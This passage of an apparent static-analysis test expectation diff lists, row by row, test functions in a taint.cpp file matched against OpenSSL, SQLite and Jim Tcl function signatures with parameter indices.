*,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (DSO *,int,long,void *) | | DSO_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,int,long,void *) | | SSL_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,int,long,void *) | | dtls1_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,int,long,void *) | | ossl_quic_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,int,long,void *) | | ssl3_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | PEM_def_callback | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | PEM_def_callback | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | ossl_pw_pem_password | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | ossl_pw_pem_password | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | ossl_pw_pvk_password | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | ossl_pw_pvk_password | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 3 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (ENGINE *,const char *,long,void *,..(*)(..),int) | | ENGINE_ctrl_cmd | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int) | | engine_table_register | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int) | | Jim_DictKeysVector | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj *,int) | | Jim_SetDictKeysVector | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int) | | Jim_GetEnum | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 4 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 4 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 5 | +| taint.cpp:572:6:572:20 | test__mbsncat_l | (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 5 | +| taint.cpp:589:7:589:12 | strsep | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:589:7:589:12 | strsep | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:589:7:589:12 | strsep | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:589:7:589:12 | strsep | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:589:7:589:12 | strsep | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:589:7:589:12 | strsep | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:589:7:589:12 | strsep | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:589:7:589:12 | strsep | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:589:7:589:12 | strsep | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:589:7:589:12 | strsep | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:589:7:589:12 | strsep | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:589:7:589:12 | strsep | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:589:7:589:12 | strsep | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:589:7:589:12 | strsep | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:589:7:589:12 | strsep | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:589:7:589:12 | strsep | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:589:7:589:12 | strsep | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:589:7:589:12 | strsep | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:589:7:589:12 | strsep | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:589:7:589:12 | strsep | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:589:7:589:12 | strsep | (STANZA *,const char *) | | test_start_file | 1 | +| taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:589:7:589:12 | strsep | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:589:7:589:12 | strsep | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:589:7:589:12 | strsep | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:589:7:589:12 | strsep | (const char *,const char *) | | test_mk_file_path | 1 | +| taint.cpp:589:7:589:12 | strsep | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:589:7:589:12 | strsep | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:589:7:589:12 | strsep | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:589:7:589:12 | strsep | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:589:7:589:12 | strsep | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:589:7:589:12 | strsep | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:589:7:589:12 | strsep | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:591:6:591:16 | test_strsep | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:591:6:591:16 | test_strsep | (char *) | | defossilize | 0 | +| taint.cpp:591:6:591:16 | test_strsep | (char *) | | make_uppercase | 0 | +| taint.cpp:591:6:591:16 | test_strsep | (char *) | | next_item | 0 | | taint.cpp:591:6:591:16 | test_strsep | (char *) | CStringT | CStringT | 0 | +| taint.cpp:602:7:602:13 | _strinc | (..(*)(..),void *) | | OSSL_STORE_do_all_loaders | 1 | +| taint.cpp:602:7:602:13 | _strinc | (ASN1_SCTX *,void *) | | ASN1_SCTX_set_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (BIO *,void *) | | BIO_set_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (CONF_IMODULE *,void *) | | CONF_imodule_set_usr_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (CONF_MODULE 